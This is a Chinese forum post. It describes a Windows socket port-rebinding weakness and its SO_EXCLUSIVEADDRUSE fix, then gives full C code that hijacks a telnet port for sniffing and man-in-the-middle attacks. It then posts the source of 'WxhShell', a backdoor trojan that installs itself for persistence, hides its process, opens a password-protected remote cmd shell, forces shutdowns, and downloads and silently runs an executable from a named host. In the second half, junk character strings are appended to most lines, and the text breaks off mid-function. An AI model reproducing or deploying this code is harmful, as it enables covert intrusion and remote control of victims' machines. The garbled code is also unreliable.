[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; _6v|k}tW'Y
if(chr[0]==0xd || chr[0]==0xa) { b/:&iG;
pwd=0; 6C>"H
break; s_A<bW566F
} L,L>cmpM
i++; RfVVAaI
} >L F y:a
&)@|WLW
// 如果是非法用户，关闭 socket I6d4<#Q@L
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]p/f@j?LU
} %y{#fZHc
Sdl1k+u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FMCX->}$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kYBy\
hce *G@b
while(1) { $gU6=vN1#
OTs vox|(
ZeroMemory(cmd,KEY_BUFF); 4viP lO
5(0f"zY
// 自动支持客户端 telnet标准 M}|<# i7u
j=0; $Cw> z^}u
while(j<KEY_BUFF) { !PX`sIkT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x#ub % t
cmd[j]=chr[0]; `wRQ-<Y
if(chr[0]==0xa || chr[0]==0xd) { Te=[tx~x
cmd[j]=0; O(U'G|
break; 42X N*br
} eYd6~T[9
j++; R0dIxG%
} `NqX{26GV+
))Ws{
// 下载文件 d7 )&Z:
if(strstr(cmd,"http://")) { ]PQ] f*Ik>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n]$50_@
if(DownloadFile(cmd,wsh)) QJ2V&t"3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)*5M
else Ml`tDt|;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ig9yd S-.
} 3n{'}SYyz
else { !QK~l
XRi/O)98o
switch(cmd[0]) { 6(1xU\x
Jj=0{(X
// 帮助 r[>4b}4s
case '?': { 2$8#ePyq*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L'XX++2
break; NHKIZx8sR
} Sn 3@+9J
// 安装 9GdQ$^m
case 'i': { $6\-8zNk
if(Install()) FwU*]wx|{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\k?$}
else B^'Uh+Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A#&Q(g\YE
break; hZ_0lX}
} iwb]mJUA
// 卸载 .{6?%lt
case 'r': { q^nSYp#
if(Uninstall()) HD"Pz}k4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9y/gWE
else 2K/+6t}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPAz.K Q
break; c-S_{~~
} +QS7F`O
// 显示 wxhshell 所在路径 Vg1! u+`<
case 'p': { [5&zyIi
char svExeFile[MAX_PATH]; =X6+}YQ"
strcpy(svExeFile,"\n\r"); u+7B-l=u*
strcat(svExeFile,ExeFile); [H#*#v
send(wsh,svExeFile,strlen(svExeFile),0); "]BefvE
break; &=SP"@D
} d~[^D<5,D
// 重启 \VW&z:/*pZ
case 'b': { *h ~Y=#`8*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F_Q,j]0
if(Boot(REBOOT)) N_jCx*.G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]s lYr8m
else { JM8s]&
closesocket(wsh); @&f3zq
ExitThread(0); 6`LC(Nv%-n
} :sT\-MpQvn
break; u*R9x3&/5
} A=X2zm>9
// 关机 ag6hhkjA
case 'd': { *,9.Bx*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o6e6Jw
if(Boot(SHUTDOWN)) T7W*S-IW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FrSeR9b
else { q9n0bw^N
closesocket(wsh); \!8`kC
ExitThread(0); h3^&,U
} }K=TB}yY
break; M4a-+T"
} \FOX#|i)
// 获取shell rQNT
case 's': { )Qve[O
CmdShell(wsh); rN|c0N
closesocket(wsh); #&\hgsw/T
ExitThread(0); A%u@xL,_
break; X-di^%<
} x{io*sY-
// 退出 YBgHX [q
case 'x': { sV7dgvVd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R6 wK'
CloseIt(wsh); FAu G`zu
break; H[%Fo
} 6Rn_@_Nn)f
// 离开 hoASrj{s
case 'q': { n<:/ X tE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1QRE-ndc
closesocket(wsh); )@Yp;=l
WSACleanup(); WfVkewuPo
exit(1); d"78w-S
break; :=04_5 z
} x+5Q}ux'G
} Ms?V1
} xM%E;
x&R&\}@G m
// 提示信息 R~b9)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1/Gyq
} a<Pi J?
} w_^&X;0^
*MkhRLw\,
return; 8aGZ% UI
} tBG :ECUL
t; n6Q0
// shell模块句柄 Xvs{2
int CmdShell(SOCKET sock) .]ZM2
{ }eb%"ZH4|
STARTUPINFO si; h_]3L/
ZeroMemory(&si,sizeof(si)); #s1M>M)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 17{]QuqNF
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'KQ]7
PROCESS_INFORMATION ProcessInfo; "<6pp4*I
char cmdline[]="cmd"; )F? 57eh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hi|2z5=V
return 0; G"MpA[a_
} @.*[CC;&
4PiNQ'*
// 自身启动模式 [CPZj*|b
int StartFromService(void) r_xo>y~S
{ -7ct+3"J
typedef struct TFxb\
{ h9+ylHW_cp
DWORD ExitStatus; ENC_#-1x
DWORD PebBaseAddress; V@>?lv(\
DWORD AffinityMask; 94APjqV6'
DWORD BasePriority; 8tA.d.8
ULONG UniqueProcessId; w#F+rh3
ULONG InheritedFromUniqueProcessId; N/{A' Wd
} PROCESS_BASIC_INFORMATION; .ET;wK
no?)GQ
PROCNTQSIP NtQueryInformationProcess; xOT'4v&.
?%Y?z]L#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2+=|!+f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {]<D"x;
.?I!/;=[
HANDLE hProcess; Wlg(z%
PROCESS_BASIC_INFORMATION pbi; MP}H 5
=V5.c+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +crAkb}i
if(NULL == hInst ) return 0; LOnhFX
*|t]6!aVLS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b V9Z[[\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HAO/r`7*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eU%5CVH.v
,dVCbAS@
if (!NtQueryInformationProcess) return 0; VdeK~#k
~7 `x9MUc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]`. d%Vx
if(!hProcess) return 0; !FSraW2
&V=54n=O?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Y'$+[TE
EW5S%Y
CloseHandle(hProcess); %+I(S`}
=fsaJ@q,R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :W1,s53
if(hProcess==NULL) return 0; >`{i[60r
(VOKa
HMODULE hMod; +XpRkX&-
char procName[255]; chd${ j
unsigned long cbNeeded; 4|2$b:t
3LXpe8$lJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %M`|0g}!
\s+MHa&
CloseHandle(hProcess); g$ 2M|Q
25ayYO%PTc
if(strstr(procName,"services")) return 1; // 以服务启动 8^R>y
Qy70/on9
return 0; // 注册表启动 i*^K)SI8
} F}AbA pTv
$U8ap4EXM
// 主模块 <GNOT"z
int StartWxhshell(LPSTR lpCmdLine) Vks,3$
{ ReE3742@
SOCKET wsl; [e}]K:
BOOL val=TRUE; ks r5P~
int port=0; UpIf t=@P
struct sockaddr_in door; ?+|tPjg$
4`UT_LcI
if(wscfg.ws_autoins) Install(); f.f4<_v'h
k9n
port=atoi(lpCmdLine); sN g"JQ
u]2k%TUY
if(port<=0) port=wscfg.ws_port; gK<-*v
= ]@xXVf/
WSADATA data; up1aFzY|6x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ..T(9]h
z<fEJN
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,9pi9\S
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UA9LI<Y
door.sin_family = AF_INET; BE+YqT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lET)<V(Y
door.sin_port = htons(port); \'EWur"
\k,bz0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C\; 8l}t
closesocket(wsl); *]eZ Y
return 1; h|H;ZC(B
} ye%F <:O7
>YfOR%mS4
if(listen(wsl,2) == INVALID_SOCKET) { 4eEs_R
closesocket(wsl); bGJUu#
return 1; cR&xl^BJ
} OKqpc;y:D
Wxhshell(wsl); :acQK=fe
WSACleanup(); X^W> "q
VM,ZEt3Vy
return 0; %:,=J
Z:v1?v
} x-pMT3m\D#
oB\Xl)A<
// 以NT服务方式启动 3DHm9n+/:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $"8k|^Z3
{ 8Vn6* Xn
DWORD status = 0; U.aa iX7
DWORD specificError = 0xfffffff; W.|6$hRl)
\zi3.;9|;
serviceStatus.dwServiceType = SERVICE_WIN32; ptR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; O0~d6Ba
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _}&]`,s>
serviceStatus.dwWin32ExitCode = 0; =5ih,>>g
serviceStatus.dwServiceSpecificExitCode = 0; MuobMD}jqe
serviceStatus.dwCheckPoint = 0; qX(%Wn;n
serviceStatus.dwWaitHint = 0; ~Z]vr6?$h
"Y!dn|3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @__;RVQ
if (hServiceStatusHandle==0) return; f}X8|GlBo
j/<y
status = GetLastError(); IDh`0/i]
if (status!=NO_ERROR) #Qr4Ke$g[l
{ Gme$FWa
serviceStatus.dwCurrentState = SERVICE_STOPPED; mM}Ukmy
serviceStatus.dwCheckPoint = 0; .$0Ob<.
serviceStatus.dwWaitHint = 0; ;J(,F:N
serviceStatus.dwWin32ExitCode = status; ql~{`qoD~
serviceStatus.dwServiceSpecificExitCode = specificError; @MB _gt)7?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dz|*n'd
return; @;fE%N
} CFm1c1%Hg
oKi1=d+T
serviceStatus.dwCurrentState = SERVICE_RUNNING; <%D"eD
serviceStatus.dwCheckPoint = 0; &a_kJ)J
serviceStatus.dwWaitHint = 0; s[q4K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $Je"z]cy-
} WrNgV@P
A{I a21T7
// 处理NT服务事件，比如：启动、停止 \Byk`} 9
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9JV 3
{ 5TneuG[OD
switch(fdwControl) 5ek%d
{ '$XHRS/q]
case SERVICE_CONTROL_STOP: G}#/`]o!K
serviceStatus.dwWin32ExitCode = 0; RVnyl`s
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5u_4lNJ&
serviceStatus.dwCheckPoint = 0; B21AcE
serviceStatus.dwWaitHint = 0; 6b]d|
{ (oitCIV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U|7Qw|I7
} rm=~^eB
return; /=m9s
case SERVICE_CONTROL_PAUSE: ; eF4J
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ccr+SR2
break; ^i+z_%V
case SERVICE_CONTROL_CONTINUE: ~}IvY?!;
serviceStatus.dwCurrentState = SERVICE_RUNNING; L-C/Luws
break; F|Dz]ar
case SERVICE_CONTROL_INTERROGATE: GoSWH2N
break; ; G59}d p~
}; 3{4/7DcX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?>.g;3E$
} !@Sf>DM"
@`;Y/',
// 标准应用程序主函数 o`K^Wy~+k#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ac!&j=ZE
{ :gD0EqV
,AbKxT f2
// 获取操作系统版本 ;2Ad])
OsIsNt=GetOsVer(); JXY!c\,
GetModuleFileName(NULL,ExeFile,MAX_PATH); *[xNp[4EU
@CaD8%j{
// 从命令行安装 (: TGev
if(strpbrk(lpCmdLine,"iI")) Install(); 6I cM:x
]PzTl {]
// 下载执行文件 o;VkoYV
if(wscfg.ws_downexe) { 8q~FUJhU
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kh?#={]Z
WinExec(wscfg.ws_filenam,SW_HIDE); 2rj/wakd
